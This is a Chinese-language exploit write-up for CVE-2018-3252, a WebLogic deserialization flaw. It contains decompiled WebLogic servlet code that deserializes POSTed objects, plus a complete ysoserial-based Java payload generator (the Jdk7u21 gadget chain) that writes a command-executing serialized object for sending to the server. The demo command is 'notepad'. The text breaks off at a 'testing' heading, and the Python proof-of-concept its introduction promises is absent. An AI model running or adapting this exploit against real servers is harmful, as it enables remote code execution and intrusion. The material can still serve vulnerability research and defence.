
针对WebLogic反序列化漏洞的CVE-2018-3252利用程序。包括使用ysoserial生成有效载荷以及一个用于远程代码执行的Python概念验证脚本。
1、反编译weblogic
private void handleDataTransferRequest(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse, AuthenticatedSubject paramAuthenticatedSubject)
throws IOException {
if (isDebugEnabled()) {
debug("Received DataTransferRequest : ");
}
String str1 = readOrConstructPeerVersion(paramHttpServletRequest);
if (isDebugEnabled()) {
debug("Peer Version : " + str1);
}
String str2 = paramHttpServletRequest.getHeader("deployment_request_id");
long l = str2 != null ? Long.parseLong(str2) : -1L;
String str3 = mimeDecode(paramHttpServletRequest.getHeader("serverName"));
DeploymentObjectInputStream localDeploymentObjectInputStream = null;//新建一个DeploymentObjectInputStream对象
try {
localDeploymentObjectInputStream = new DeploymentObjectInputStream(paramHttpServletRequest.getInputStream(), str1);
DataTransferRequest localDataTransferRequest = (DataTransferRequest) localDeploymentObjectInputStream.readObject();//读取post过来的对象进行反序列化
localObject1 = DataHandlerManager.getInstance().getHttpDataTransferHandler().getDataAsStream(localDataTransferRequest);
localObject2 = localDataTransferRequest.getLockPath();
FileLock localFileLock = null;
try {
if ((localObject2 != null) && (((String) localObject2).length() > 0)) {
localFileLock = lockFile((String) localObject2);
}
MultipartResponse localMultipartResponse = new MultipartResponse(paramHttpServletResponse, (MultiDataStream) localObject1);
localMultipartResponse.write();
} finally {
unlockFile(localFileLock);
}
} catch (Throwable localThrowable) {
Object localObject1 = StackTraceUtils.throwable2StackTrace(localThrowable);
if (isDebugEnabled()) {
debug("DeploymentServiceServlet error - " + localThrowable.getMessage() + " " + (String) localObject1);
}
Object localObject2 = DeploymentServiceLogger.logExceptionInServletRequestForDatatransferMsgLoggable(l, str3, (String) localObject1);
((Loggable) localObject2).log();
localObject2 = DeploymentServiceLogger.logExceptionInServletRequestForDatatransferMsgLoggable(l, str3, localThrowable.getMessage());
sendError(paramHttpServletResponse, 500, ((Loggable) localObject2).getMessage());
return;
} finally {
if (localDeploymentObjectInputStream != null) {
localDeploymentObjectInputStream.close();
}
}
}
2、DeploymentObjectInputStream继承自WLObjectInputStream,对应应该有一个 WLObjectOutputStream
package weblogic.deploy.common;
import java.io.IOException;
import java.io.InputStream;
import weblogic.common.internal.PeerInfo;
import weblogic.common.internal.PeerInfoable;
import weblogic.common.internal.WLObjectInputStream;
import weblogic.rmi.utils.io.RemoteObjectReplacer;
public class DeploymentObjectInputStream
extends WLObjectInputStream
implements PeerInfoable
{
final PeerInfo peerInfo;
public DeploymentObjectInputStream(InputStream paramInputStream, String paramString)
throws IOException
{
super(paramInputStream);
this.peerInfo = ((paramString == null) || (paramString.length() == 0) ? null : PeerInfo.getPeerInfo(paramString));
if (Debug.isServiceTransportDebugEnabled()) {
Debug.serviceTransportDebug("PeerInfo on '" + this + "' is: " + this.peerInfo);
}
setReplacer(RemoteObjectReplacer.getReplacer());
}
public PeerInfo getPeerInfo()
{
return this.peerInfo;
}
}
3、使用ysoserial生成payload
package test;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import weblogic.common.internal.WLObjectOutputStream;
import weblogic.deploy.internal.targetserver.datamanagement.DataTransferRequestImpl;
import weblogic.deploy.service.DataTransferRequest;
import weblogic.deploy.service.internal.adminserver.AdminRequestImpl;
import weblogic.deploy.service.internal.transport.DeploymentServiceMessage;
import weblogic.messaging.util.List;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class jdkpayload implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
// PayloadRunner.run(Jdk7u21.class, "calc");
Thread.currentThread().setContextClassLoader(jdkpayload.class.getClassLoader());
// PayloadRunner.run(JRMPClient.class, args);
ObjectPayload payload = (ObjectPayload)jdkpayload.class.newInstance();
Object objBefore = payload.getObject("notepad");
WLObjectOutputStream Obj = new WLObjectOutputStream(new FileOutputStream("xxoo1.exe"));
Obj.writeObject(objBefore);
System.out.println("1232");
}
4、测试